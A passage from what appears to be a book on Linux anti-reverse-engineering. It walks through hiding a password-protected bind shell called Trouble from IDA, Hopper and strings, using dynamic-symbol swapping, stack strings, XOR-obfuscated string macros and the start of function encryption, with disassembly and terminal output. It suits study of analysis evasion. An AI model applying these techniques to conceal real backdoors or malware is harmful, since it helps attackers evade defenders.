socket@GLIBC_2.2.5 (3)
_ITM_registerTMCloneTable
__libc_start_main@GLIBC_2.\

UND __stack_chk_fail@GLIBC_2.2\
25
25
26
14
25
16
14
14
26
14
11
26
14
15

_edata
__data_start
_end
check_password
data_start
_IO_stdin_used
__libc_csu_init
_start
__bss_start
main
_init
stderr@GLIBC_2.2.5 (3)
__libc_csu_fini
_fini

Now use mixDynamicSymbols on Trouble.

Applying mixDynamicSymbols to Trouble
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/mixDynamicSymbols/build$ ./mi\
xDynamicSymbols ~/antire_book/chap_1_introduction/trouble/build/trouble
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/mixDynamicSymbols/build$

No fancy output on success, but take a look at the .dynsym section header now.

125

Chapter 3: File Format Hacks

Troubles modified .dynsym

albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble/build$ readelf -S ./t\
rouble
There are 36 section headers, starting at offset 0x3c40:
Section Headers:
[Nr] Name
Size
[ 5] .dynsym
0000000000000348

Type
Address
Offset
EntSize
Flags Link Info Align
DYNSYM
0000000000400300 00004540
0000000000000018
A
6
1
8

Instead of pointing at 0x300 the offset now points at the fake symbol table we copied
to 0x4540. Lets look at how the dynamic symbol table has changed.
Troubles mixed .dynsym
albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble/build$ readelf --dyn-\
sym ./trouble
Symbol table '.dynsym' contains 35 entries:
Num:
Value
Size Type
Bind
0: 0000000000000000
0 NOTYPE LOCAL
1: 0000000000000000
0 NOTYPE WEAK
2: 0000000000000000
0 FUNC
GLOBAL
3: 0000000000000000
0 FUNC
GLOBAL
4: 0000000000000000
0 FUNC
GLOBAL
2.5 (3)
5: 0000000000000000
0 FUNC
GLOBAL
6: 0000000000000000
0 FUNC
GLOBAL
7: 0000000000000000
0 FUNC
GLOBAL
8: 0000000000000000
0 FUNC
GLOBAL
9: 0000000000000000
0 FUNC
GLOBAL
10: 0000000000000000
0 FUNC
GLOBAL
.5 (3)
11: 0000000000000000
0 NOTYPE WEAK
12: 0000000000000000
0 FUNC
GLOBAL
13: 0000000000000000
0 FUNC
GLOBAL
14: 0000000000000000
0 FUNC
GLOBAL
15: 0000000000000000
0 NOTYPE WEAK
16: 0000000000000000
0 FUNC
GLOBAL
17: 0000000000000000
0 FUNC
GLOBAL

Vis
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

Ndx
UND
UND
UND
UND
UND

Name
_ITM_deregisterTMCloneTab
memcmp@GLIBC_2.4 (2)
fwrite@GLIBC_2.2.5 (3)
__libc_start_main@GLIBC_2.\

DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

UND
UND
UND
UND
UND
UND

accept@GLIBC_2.2.5 (3)
socket@GLIBC_2.2.5 (3)
close@GLIBC_2.2.5 (3)
perror@GLIBC_2.2.5 (3)
bind@GLIBC_2.2.5 (3)
__stack_chk_fail@GLIBC_2.2\

DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

UND
UND
UND
UND
UND
UND
UND

__gmon_start__
execve@GLIBC_2.2.5 (3)
htonl@GLIBC_2.2.5 (3)
dup2@GLIBC_2.2.5 (3)
_Jv_RegisterClasses
fork@GLIBC_2.2.5 (3)
listen@GLIBC_2.2.5 (3)

126

Chapter 3: File Format Hacks

18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:

0000000000000000
0000000000000000
0000000000000000
00000000006020a8
0000000000602098
00000000006020d0
0000000000400c06
0000000000602098
0000000000400ee0
0000000000400e60
0000000000400b10
00000000006020a8
0000000000400c2f
00000000004009d0
00000000006020c0
0000000000400ed0
0000000000400ed4

0
0
0
0
0
0
41
0
4
101
42
0
558
0
8
2
0

NOTYPE
FUNC
FUNC
NOTYPE
NOTYPE
NOTYPE
FUNC
NOTYPE
OBJECT
FUNC
FUNC
NOTYPE
FUNC
FUNC
OBJECT
FUNC
FUNC

WEAK
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
WEAK
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL

DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

UND
UND
UND
25
25
26
14
25
16
14
14
26
14
11
26
14
15

_ITM_registerTMCloneTable
read@GLIBC_2.2.5 (3)
htons@GLIBC_2.2.5 (3)
_edata
__data_start
_end
check_password
data_start
_IO_stdin_used
__libc_csu_init
_start
__bss_start
main
_init
stderr@GLIBC_2.2.5 (3)
__libc_csu_fini
_fini

Look at symbol number two. Before mixDynamicSymbols the symbol name was
accept@GLIBC_2.4 (2) but now it reads memcp@GLIBC_2.4 (2). How does this
affect the disassembly? Check out the function check_password() in IDA.
check_password() in IDA after using mixDynamicSymbols
.text:0000000000400C06 check_password
.text:0000000000400C06
.text:0000000000400C06 p_password
.text:0000000000400C06
.text:0000000000400C06
.text:0000000000400C07
.text:0000000000400C0A
.text:0000000000400C0E
.text:0000000000400C12
.text:0000000000400C16
.text:0000000000400C1B
.text:0000000000400C1E
KJvkz31NuXtq9155kEGa"
.text:0000000000400C23
.text:0000000000400C28
.text:0000000000400C2A
.text:0000000000400C2D
.text:0000000000400C2E

proc near

; CODE XREF: main+194 p

= qword ptr -8
push
mov
sub
mov
mov
mov
mov
mov

rbp
rbp, rsp
rsp, 10h
[rbp+p_password], rdi
rax, [rbp+p_password]
edx, 20h
; len
rsi, rax
; addr
edi, offset s_password ; "GisfUtI89aMR\

call
test
setnz
leave
retn

_bind
eax, eax
al

127

Chapter 3: File Format Hacks

.text:0000000000400C2E check_password
.text:0000000000400C2E

endp

Notice how the call at 0x400c23 says _bind? That should be memcmp. The subtlety of
this technique should not be underrated. A reverse engineer is only going to notice
the symbol name is incorrect if they come across it while doing dynamic analysis
or if they compare the .dynsym offsets in the section headers and program headers.
Unfortunately, once again, Radare2 is immune to this obfuscation technique.
Radare2 still shows memcmp()
albino-lobster@ubuntu:~/antire_book/chap_1_introduction/trouble/build$ radare2 ./trou\
ble
-- This is an unacceptable milion year dungeon.
[0x00400b10]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x00400b10]> pdf @ sym.check_password
/ (fcn) sym.check_password 41
|
sym.check_password ();
|
; var int local_8h @ rbp-0x8
|
; CALL XREF from 0x00400dc3 (sym.main)
|
0x00400c06
55
push rbp
|
0x00400c07
4889e5
mov rbp, rsp
|
0x00400c0a
4883ec10
sub rsp, 0x10
|
0x00400c0e
48897df8
mov qword [rbp - local_8h], rdi
|
0x00400c12
488b45f8
mov rax, qword [rbp - local_8h]
|
0x00400c16
ba20000000
mov edx, 0x20
|
0x00400c1b
4889c6
mov rsi, rax
|
0x00400c1e
bf000f4000
mov edi, str.GisfUtI89aMRKJvkz31NuXtq9155k\
EGa ; "GisfUtI89aMRKJvkz31NuXtq9155kEGa" @ 0x400f00
|
0x00400c23
e848feffff
call sym.imp.memcmp
|
0x00400c28
85c0
test eax, eax
|
0x00400c2a
0f95c0
setne al
|
0x00400c2d
c9
leave
\
0x00400c2e
c3
ret
[0x00400b10]>

Chapter 3: File Format Hacks

128

Interestingly, while Hopper has correctly handled some of the other file format
obfuscations it does fall victim this particular attack.
check_password() in Hopper with mixDynamicSymbols
check_password:
0000000000400c06
push
rbp
; XREF=main+404
0000000000400c07
mov
rbp, rsp
0000000000400c0a
sub
rsp, 0x10
0000000000400c0e
mov
qword [ss:rbp+var_8], rdi
0000000000400c12
mov
rax, qword [ss:rbp+var_8]
0000000000400c16
mov
edx, 0x20
; argument "address_len" for method j_bind
0000000000400c1b
mov
rsi, rax
; argument "address" for method j_bind
0000000000400c1e
mov
edi, 0x400f00 ; "GisfUtI89aMRKJvkz31NuXtq9155kEGa", argum\
ent "socket" for method j_bind
0000000000400c23
call
j_bind
0000000000400c28
test
eax, eax
0000000000400c2a
setne
al
0000000000400c2d
leave
0000000000400c2e
ret
; endp

Chapter 4: Fighting Off String

Analysis
In the previous chapters a lot of work has gone into preventing a reverse engineer
from figuring out the password to the Trouble bind shell. Yet, we havent protected
the binary from one of the first tools in a reverse engineers toolbox: strings. Check
out how easy it is to uncover the password:
Finding the password in the strings output
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ strings -a -n \
32 ./trouble
GisfUtI89aMRKJvkz31NuXtq9155kEGa
Resource temporarily unavailable
Address family not supported by protocol
Cannot send after socket shutdown
}&*+<=>?CGJMXYZ[\]^_`acdefgijklrstyz{|

In this build of Trouble the password is GisfUtI89aMRKJvkz31NuXtq9155kEGa

which just so happens to be the first item in the strings output.

Code Reorganization
Now that youve made it to chapter four its time to change how Trouble is compiled.
Youve learned a handful of interesting obfuscation techniques and I want to keep
using some of those techniques on/off throughout the remainder of the book. In the
previous chapter, you kept having to manually run stripBinary, but that is kind of
annoying to have to do everytime. Instead, lets automate it. In chapter four, youll
compile Trouble by using the CMakeLists.txt file in the directory dontpanic. Later,
youll see how you can easily add and execute other projects to dontpanic by
running cmake ..; make once. For now, here is what compiling Trouble in chapter
four should look like:
Strings is a simple utility that outputs all the strings in a provided file. For a full write up see man strings.

Chapter 4: Fighting Off String Analysis

130

Compiling the chapter four version of Trouble

albino-lobster@ubuntu:~/antire_book$ cd chap_4_static_analysis/dontpanic/
albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic$ mkdir build
albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic$ cd build/
albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$ cmake ..
-- The C compiler identification is GNU 5.4.0
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Configuring done
-- Generating done
-- Build files have been written to: /home/albino-lobster/antire_book/chap_4_static_a\
nalysis/dontpanic/build
albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$ make
Scanning dependencies of target trouble
[ 33%] Building C object trouble/CMakeFiles/trouble.dir/src/trouble.c.o
[ 66%] Building C object trouble/CMakeFiles/trouble.dir/src/rc4.c.o
[100%] Linking C executable trouble
The bind shell password is: CyrHgAtdD6QfwbS0oso17M5WMOWygWMn
[100%] Built target trouble
albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$

Not only do all of the projects get compiled, but stripBinary and fakeHeadersXBit
get applied to Trouble automatically. The bind shell can now be found in the build
directory in the trouble subdirectory.

Stack Strings
One of the the ways to hide strings is to mix the construction of the string with code.
This is the basic idea behind a stack string. The goal is to add each byte of the string
onto the stack one at a time. For example, consider the string /bin/sh in Trouble.
Currently, the string is used with execve like so:

Chapter 4: Fighting Off String Analysis

131

execve("/bin/sh", empty, empty);

The string also appears in the strings output.

Finding /bin/bash in Troubles string output
albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$ strings -\
a ./trouble/trouble | grep "/bin/sh"
/bin/sh

You can make simple change to ensure that the /bin/sh string is built on the stack
and wont appear in the strings output.
Changing how Trouble declares /bin/bash
char binsh[] = { '/', 'b', 'i', 'n', '/', 's', 'h', 0 };
execve(binsh, empty, empty);

Now /bin/sh cant be found by strings.

Searching for /bin/sh in the strings output
albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$ strings -\
a ./trouble/trouble | grep "/bin/sh"
albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$

Why does this work? Consider the disassembly around execve() before the stack
string change:

132

Chapter 4: Fighting Off String Analysis

Disassembly using normal /bin/sh

.text:0000000000400573
.text:000000000040057B
.text:000000000040057F
.text:0000000000400583
.text:0000000000400586
.text:000000000040058B

mov
lea
lea
mov
mov
call

[rbp+var_50], 0
rdx, [rbp+var_50]
rax, [rbp+var_50]
rsi, rax
edi, offset aBinSh ; "/bin/sh"
execve

As you can plainly see the address for the string /bin/sh is stored in edi before the
call to execve(). However, check out the stack strings version.
Disassembly using stack string /bin/sh
.text:000000000040057F
.text:0000000000400587
.text:000000000040058B
.text:000000000040058F
.text:0000000000400593
.text:0000000000400597
.text:000000000040059B
.text:000000000040059F
.text:00000000004005A3
.text:00000000004005A7
.text:00000000004005AB
.text:00000000004005AF
.text:00000000004005B3
.text:00000000004005B6
.text:00000000004005B9

mov
mov
mov
mov
mov
mov
mov
mov
mov
lea
lea
lea
mov
mov
call

[rbp+var_60], 0
[rbp+var_40], 2Fh
[rbp+var_3F], 62h
[rbp+var_3E], 69h
[rbp+var_3D], 6Eh
[rbp+var_3C], 2Fh
[rbp+var_3B], 73h
[rbp+var_3A], 68h
[rbp+var_39], 0
rdx, [rbp+var_60]
rcx, [rbp+var_60]
rax, [rbp+var_40]
rsi, rcx
rdi, rax
execve

Above you can see that each letter (0x2f, 0x62, 0x69, 0x63, 0x2f, 0x73, 0x68, and NULL)
are moved onto the stack one byte at a time. This effectively mixes the string with
the code so that tools like strings cant easily find them.

FLOSS
In 2016 FireEye released an open source tool called FireEye Labs Obfuscated String Solved or FLOSS. Among other things, FLOSS is supposed
to find stack strings. However, FLOSS doesnt fully support ELF binaries
and therefore cant seem to find the stack strings in Trouble. Linux gets
no love, huh?

133

Chapter 4: Fighting Off String Analysis

Implementing a stack string as an array of individual chars is pretty useful, but how
can we make that work for Troubles shell password? Remember that you generate
a new shell password whenever the command cmake is run and the generated
password is passed into Trouble as a macro. The macro is just a string. That means
we should be able to index into it as normal and let the compiler clean up the rest.
For example, you can change the check_password() function to look like this:
Storing the shell password as a stack string
bool check_password(const char* p_password)
{
char pass[33] =
{
password[0], password[1], password[2], password[3], password[4],
password[5], password[6], password[7], password[8], password[9],
password[10], password[11], password[12], password[13], password[14],
password[15], password[16], password[17], password[18], password[19],
password[20], password[21], password[22], password[23], password[24],
password[25], password[26], password[27], password[28], password[29],
password[30], password[31], 0
};
// validate the password
return memcmp(pass, p_password, 32) != 0;
}

The resulting disassembly is larger, but keeps strings from seeing the password.
Disassembly of check_password() with the password stored as a stack string
.text:00000000004003F0
.text:00000000004003F0 check_password
.text:00000000004003F0
.text:00000000004003F0
.text:00000000004003F4
.text:00000000004003F7
.text:00000000004003FC
.text:00000000004003FF
.text:0000000000400403
.text:0000000000400408
.text:0000000000400411

public check_password
proc near
sub
mov
mov
mov
mov
mov
mov
mov

; CODE XREF: main+13D p

rsp, 38h
rsi, rdi
edx, 20h
rdi, rsp
[rsp+38h+var_38], 4Dh
[rsp+38h+var_37], 49h
rax, fs:28h
[rsp+38h+var_10], rax

Chapter 4: Fighting Off String Analysis

134

.text:0000000000400416
xor
eax, eax
.text:0000000000400418
mov
[rsp+38h+var_36], 6Bh
.text:000000000040041D
mov
[rsp+38h+var_35], 4Bh
.text:0000000000400422
mov
[rsp+38h+var_34], 39h
.text:0000000000400427
mov
[rsp+38h+var_33], 61h
.text:000000000040042C
mov
[rsp+38h+var_32], 63h
.text:0000000000400431
mov
[rsp+38h+var_31], 58h
.text:0000000000400436
mov
[rsp+38h+var_30], 33h
.text:000000000040043B
mov
[rsp+38h+var_2F], 37h
.text:0000000000400440
mov
[rsp+38h+var_2E], 79h
.text:0000000000400445
mov
[rsp+38h+var_2D], 79h
.text:000000000040044A
mov
[rsp+38h+var_2C], 5Ah
.text:000000000040044F
mov
[rsp+38h+var_2B], 44h
.text:0000000000400454
mov
[rsp+38h+var_2A], 51h
.text:0000000000400459
mov
[rsp+38h+var_29], 46h
.text:000000000040045E
mov
[rsp+38h+var_28], 75h
.text:0000000000400463
mov
[rsp+38h+var_27], 76h
.text:0000000000400468
mov
[rsp+38h+var_26], 77h
.text:000000000040046D
mov
[rsp+38h+var_25], 4Fh
.text:0000000000400472
mov
[rsp+38h+var_24], 48h
.text:0000000000400477
mov
[rsp+38h+var_23], 33h
.text:000000000040047C
mov
[rsp+38h+var_22], 4Bh
.text:0000000000400481
mov
[rsp+38h+var_21], 33h
.text:0000000000400486
mov
[rsp+38h+var_20], 75h
.text:000000000040048B
mov
[rsp+38h+var_1F], 52h
.text:0000000000400490
mov
[rsp+38h+var_1E], 78h
.text:0000000000400495
mov
[rsp+38h+var_1D], 4Bh
.text:000000000040049A
mov
[rsp+38h+var_1C], 51h
.text:000000000040049F
mov
[rsp+38h+var_1B], 43h
.text:00000000004004A4
mov
[rsp+38h+var_1A], 70h
.text:00000000004004A9
mov
[rsp+38h+var_19], 48h
.text:00000000004004AE
mov
[rsp+38h+var_18], 0
.text:00000000004004B3
call
memcmp
.text:00000000004004B8
test
eax, eax
.text:00000000004004BA
setnz
al
.text:00000000004004BD
mov
rcx, [rsp+38h+var_10]
.text:00000000004004C2
xor
rcx, fs:28h
.text:00000000004004CB
jnz
short loc_4004D2
.text:00000000004004CD
add
rsp, 38h
.text:00000000004004D1
retn
.text:00000000004004D2 ; -------------------------------------------.text:00000000004004D2
.text:00000000004004D2 loc_4004D2:
; CODE XREF: check_pas\

135

Chapter 4: Fighting Off String Analysis

sword+DB j
.text:00000000004004D2
.text:00000000004004D2 check_password

call
endp

__stack_chk_fail

Finally, just to verify that our stack string code actually worked, check out the strings
output.
The password no longer appears in the strings output
albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$ strings -\
a -n 32 ./trouble/trouble
Resource temporarily unavailable
Address family not supported by protocol
Cannot send after socket shutdown
}&*+<=>?CGJMXYZ[\]^_`acdefgijklrstyz{|

Take that egyp7!

XOR Stack String

In the previous section you hid Troubles shell password from the strings utility by
turning it into a stack string. However, the password is still pretty easy to recover
Obviously, Im just kidding. egyp7 is great and you should follow him on Twitter.

136

Chapter 4: Fighting Off String Analysis

since each characters hex representation is visible in the disassembly. Lets go one
step further and XOR each byte so that the reverse engineer cant just read the values
straight from the disassembly.
Before you add in the new XOR logic consider if you had one hundred of these
strings that needed to be obfuscated. It isnt really reasonable to write them out as
arrays every single time is it? Lets use macros to automate this. What is a macro
exactly? GCCs documentation calls it a fragment of code which has been given a
name. For our purposes, you can consider macros to be a simple find and replace
mechanism. Before you compile the preprocessor will find all calls to the macros and
replace them with the actual code defined in the macro. Understand that this is an
oversimplification but its enough to understand the basics.
I would love to present you with a beautiful recursive macro that prettily creates the
stack string. Reality isnt always as beautiful as wed like. Recursive macros arent
possible in C (or C++ for that matter). Therefore, youre forced to create a new macro
for each index in the string. Luckily, Ive written it for you.
chap_4_static_analysis/dontpanic/trouble/src/xor_string.h
/**
* The macros below can be used to
* obfuscated by a given "key" (ie
* The length of the string is the
* have an 8 byte string I want to
* Because the macros start at 0.
*/

generate a stack string that has been

0xaa). The macros are listed from 0-31.
number in the macro name. For example, if I
obfuscate then I'd use XOR_STRING7. Why 7?

#define XOR_STRING0(storage, string, key)

#define XOR_STRING1(storage, string, key)
XOR_STRING0(storage, string, key);
#define XOR_STRING2(storage, string, key)
XOR_STRING1(storage, string, key);
#define XOR_STRING3(storage, string, key)
XOR_STRING2(storage, string, key);
#define XOR_STRING4(storage, string, key)
XOR_STRING3(storage, string, key);
#define XOR_STRING5(storage, string, key)
XOR_STRING4(storage, string, key);

https://gcc.gnu.org/onlinedocs/gcc-5.1.0/cpp/Macros.html

storage[0] = string[0] ^ key;

storage[1] = string[1] ^ key; \
storage[2] = string[2] ^ key; \
storage[3] = string[3] ^ key; \
storage[4] = string[4] ^ key; \
storage[5] = string[5] ^ key; \

137

Chapter 4: Fighting Off String Analysis

#define XOR_STRING6(storage, string, key) storage[6] =
XOR_STRING5(storage, string, key);
#define XOR_STRING7(storage, string, key) storage[7] =
XOR_STRING6(storage, string, key);
#define XOR_STRING8(storage, string, key) storage[8] =
XOR_STRING7(storage, string, key);
#define XOR_STRING9(storage, string, key) storage[9] =
XOR_STRING8(storage, string, key);
#define XOR_STRING10(storage, string, key) storage[10]
XOR_STRING9(storage, string, key);
#define XOR_STRING11(storage, string, key) storage[11]
XOR_STRING10(storage, string, key);
#define XOR_STRING12(storage, string, key) storage[12]
XOR_STRING11(storage, string, key);
#define XOR_STRING13(storage, string, key) storage[13]
XOR_STRING12(storage, string, key);
#define XOR_STRING14(storage, string, key) storage[14]
XOR_STRING13(storage, string, key);
#define XOR_STRING15(storage, string, key) storage[15]
XOR_STRING14(storage, string, key);
#define XOR_STRING16(storage, string, key) storage[16]
XOR_STRING15(storage, string, key);
#define XOR_STRING17(storage, string, key) storage[17]
XOR_STRING16(storage, string, key);
#define XOR_STRING18(storage, string, key) storage[18]
XOR_STRING17(storage, string, key);
#define XOR_STRING19(storage, string, key) storage[19]
XOR_STRING18(storage, string, key);
#define XOR_STRING20(storage, string, key) storage[20]
XOR_STRING19(storage, string, key);
#define XOR_STRING21(storage, string, key) storage[21]
XOR_STRING20(storage, string, key);
#define XOR_STRING22(storage, string, key) storage[22]
XOR_STRING21(storage, string, key);
#define XOR_STRING23(storage, string, key) storage[23]
XOR_STRING22(storage, string, key);
#define XOR_STRING24(storage, string, key) storage[24]
XOR_STRING23(storage, string, key);
#define XOR_STRING25(storage, string, key) storage[25]
XOR_STRING24(storage, string, key);
#define XOR_STRING26(storage, string, key) storage[26]
XOR_STRING25(storage, string, key);
#define XOR_STRING27(storage, string, key) storage[27]

string[6] ^ key; \
string[7] ^ key; \
string[8] ^ key; \
string[9] ^ key; \
= string[10] ^ key; \
= string[11] ^ key; \
= string[12] ^ key; \
= string[13] ^ key; \
= string[14] ^ key; \
= string[15] ^ key; \
= string[16] ^ key; \
= string[17] ^ key; \
= string[18] ^ key; \
= string[19] ^ key; \
= string[20] ^ key; \
= string[21] ^ key; \
= string[22] ^ key; \
= string[23] ^ key; \
= string[24] ^ key; \
= string[25] ^ key; \
= string[26] ^ key; \
= string[27] ^ key; \

138

Chapter 4: Fighting Off String Analysis

XOR_STRING26(storage, string, key);
#define XOR_STRING28(storage, string, key)
XOR_STRING27(storage, string, key);
#define XOR_STRING29(storage, string, key)
XOR_STRING28(storage, string, key);
#define XOR_STRING30(storage, string, key)
XOR_STRING29(storage, string, key);
#define XOR_STRING31(storage, string, key)
XOR_STRING30(storage, string, key);

storage[28] = string[28] ^ key; \

storage[29] = string[29] ^ key; \
storage[30] = string[30] ^ key; \
storage[31] = string[31] ^ key; \

/** This function deobfuscates the string. It isn't a macro because we don't
* want to do this at compile time. We want to do it at run time.
*
* \param[in,out] p_string the string to deobfuscate
* \param[in] p_length the length of the string
* \param[in] p_key the "key" to deobfuscate with
*
* \note p_string will be deobfuscated. So if you call this function with
*
p_string *a second time* then it will get reobfuscated.
*/
char* undo_xor_string(char* string, int length, char key)
{
for (int i = 0; i < length; i++)
{
string[i] = string[i] ^ key;
}
return string;
}

Im sure you are thinking, Boy, that sure is ugly. Couldnt we just use a for loop?.
Maybe something like this:
#define XOR_FOR_REAL(storage, string, size, key) \
for (int i = 0; i < size; i++) { \
storage[i] = string[i] ^ key; \
}

Alas, no. Remember that a macro is basically a placeholder for the defined code
fragment. Calling XOR_STRING31 will result in 32 lines of code replacing XOR_STRING31. XOR_FOR_REAL would result in three lines of replacement code. A for

139

Chapter 4: Fighting Off String Analysis

loop will not reliably generate a stack string (ie. the stack string would be present
in the strings output). Therefore, we are stuck with the many macros solution.
Now you can rewrite check_password() to use one of the XOR_STRING macros.
Changing check_password() to use an XOR obfuscated stack string
#include "xor_string.h"
bool check_password(const char* p_password)
{
char pass[password_size] = {};
XOR_STRING31(pass, password, 0xaa);
// validate the password
return memcmp(undo_xor_string(pass, 32, 0xaa), p_password, 32) != 0;
}

Now the password isnt quite as clear in the diassembly.

Disassembly over the XOR obfuscated stack string in check_password()
.text:00000000004008E0 check_password
.text:00000000004008E0
.text:00000000004008E0
.text:00000000004008E4
.text:00000000004008E7
.text:00000000004008EC
.text:00000000004008F5
.text:00000000004008FA
.text:00000000004008FC
.text:0000000000400901
.text:0000000000400906
.text:0000000000400909
.text:000000000040090E
.text:0000000000400913
.text:0000000000400918
.text:000000000040091D
.text:0000000000400922

proc near
sub
mov
mov
mov
mov
xor
mov
mov
mov
mov
mov
mov
mov
mov
mov

; CODE XREF: main+13C p

rsp, 38h
rsi, rdi
edx, 20h
rax, fs:28h
[rsp+38h+var_10], rax
eax, eax
[rsp+38h+var_18], 0
byte ptr [rsp+38h+var_28+0Fh], 0F0h
rdi, rsp
byte ptr [rsp+38h+var_28+0Eh], 0DBh
byte ptr [rsp+38h+var_28+0Dh], 0F2h
byte ptr [rsp+38h+var_28+0Ch], 0C4h
byte ptr [rsp+38h+var_28+0Bh], 0E6h
byte ptr [rsp+38h+var_28+0Ah], 0E7h
byte ptr [rsp+38h+var_28+9], 0C3h

Note that I was careful with my wording here because it is theoretically possible for the loop to get unrolled by the
optimizer and that might generate a stack string. However, that cant be relied upon and Im not even truly certain if its
possible.

Chapter 4: Fighting Off String Analysis

140

.text:0000000000400927
mov
byte ptr [rsp+38h+var_28+8], 0E7h
.text:000000000040092C
mov
byte ptr [rsp+38h+var_28+7], 0FBh
.text:0000000000400931
mov
byte ptr [rsp+38h+var_28+6], 0E0h
.text:0000000000400936
mov
byte ptr [rsp+38h+var_28+5], 0C5h
.text:000000000040093B
mov
byte ptr [rsp+38h+var_28+4], 0DBh
.text:0000000000400940
mov
byte ptr [rsp+38h+var_28+3], 92h
.text:0000000000400945
mov
byte ptr [rsp+38h+var_28+2], 0FBh
.text:000000000040094A
mov
byte ptr [rsp+38h+var_28+1], 0F9h
.text:000000000040094F
mov
byte ptr [rsp+38h+var_28], 0E5h
.text:0000000000400954
mov
byte ptr [rsp+38h+var_38+0Fh], 0E3h
.text:0000000000400959
mov
byte ptr [rsp+38h+var_38+0Eh], 0DDh
.text:000000000040095E
mov
byte ptr [rsp+38h+var_38+0Dh], 99h
.text:0000000000400963
mov
byte ptr [rsp+38h+var_38+0Ch], 0FBh
.text:0000000000400968
mov
byte ptr [rsp+38h+var_38+0Bh], 0C2h
.text:000000000040096D
mov
byte ptr [rsp+38h+var_38+0Ah], 0E9h
.text:0000000000400972
mov
byte ptr [rsp+38h+var_38+9], 0F0h
.text:0000000000400977
mov
byte ptr [rsp+38h+var_38+8], 0F8h
.text:000000000040097C
mov
byte ptr [rsp+38h+var_38+7], 0F9h
.text:0000000000400981
mov
byte ptr [rsp+38h+var_38+6], 0D2h
.text:0000000000400986
mov
byte ptr [rsp+38h+var_38+5], 0D2h
.text:000000000040098B
mov
byte ptr [rsp+38h+var_38+4], 0C4h
.text:0000000000400990
mov
byte ptr [rsp+38h+var_38+3], 0E8h
.text:0000000000400995
mov
byte ptr [rsp+38h+var_38+2], 0EBh
.text:000000000040099A
mov
byte ptr [rsp+38h+var_38+1], 0E7h
.text:000000000040099F
mov
byte ptr [rsp+38h+var_38], 0E0h
.text:00000000004009A3
movdqa xmm0, cs:xmmword_401A20
.text:00000000004009AB
movdqa xmm1, [rsp+38h+var_38]
.text:00000000004009B0
pxor
xmm1, xmm0
.text:00000000004009B4
pxor
xmm0, [rsp+38h+var_28]
.text:00000000004009BA
movaps [rsp+38h+var_38], xmm1
.text:00000000004009BE
movaps [rsp+38h+var_28], xmm0
.text:00000000004009C3
call
memcmp
.text:00000000004009C8
test
eax, eax
.text:00000000004009CA
setnz
al
.text:00000000004009CD
mov
rcx, [rsp+38h+var_10]
.text:00000000004009D2
xor
rcx, fs:28h
.text:00000000004009DB
jnz
short loc_4009E2
.text:00000000004009DD
add
rsp, 38h
.text:00000000004009E1
retn
.text:00000000004009E2 ; --------------------------------------------.text:00000000004009E2
.text:00000000004009E2 loc_4009E2:
; CODE XREF: check_password+FB j
.text:00000000004009E2
call
__stack_chk_fail

141

Chapter 4: Fighting Off String Analysis

.text:00000000004009E2 check_password

endp

That is harder to pull the password out of (especially when you dont know the key).
As a reverse engineer, if you ever come across XOR encoded data there are two well
known tools for finding and decoding the data.
1. XORSearch by Didier Stevens
2. xortool by hellman
However, note that youve already defeated these tools simply by using XOR in
conjunction with a stack string.

Function Encryption
Generating XOR obfuscated stack strings is pretty handy, but it wont slow down
a good reverse engineer. You need something more powerful to hide the bind shell
password. Lets try encrypting the entire check_password() function.

Computing the Functions Size Using a Linker Script

The first problem youll face when trying to figure out how to encrypt a function is
how to determine the size of the function. Unfortuntely, many people seem to come
up with the following solution.

https://blog.didierstevens.com/programs/xorsearch/
https://github.com/hellman/xortool

Chapter 4: Fighting Off String Analysis

142

Psuedo code for badly computing a functions size

void a_function()
{
}
void b_function()
{
}
void c_function()
{
int a_function_length = b_function - a_function();
}

This method makes the assumption that, when compiled, b_function() will immediately follow a_function(). This might work. It might not. It totally depends on
what the compiler has decided to do with your code. A fool proof way of finding
a functions size is to use a linker script. The linker script describes how sections
are mapped in the binary. Normally, you dont worry about the linker script because
the linker uses an internal script. You can see the default internal script by passing
the verbose option to the linker (note that the following output is truncated because
it goes on for a while).
Finding the default linker script
albino-lobster@ubuntu:~$ gcc empty.c -Wl,-verbose
GNU ld (GNU Binutils for Ubuntu) 2.26.1
Supported emulations:
elf_x86_64
elf32_x86_64
elf_i386
elf_iamcu
i386linux
elf_l1om
elf_k1om
i386pep
i386pe

https://sourceware.org/binutils/docs/ld/Scripts.html#Scripts

Chapter 4: Fighting Off String Analysis

143

using internal linker script:

==================================================
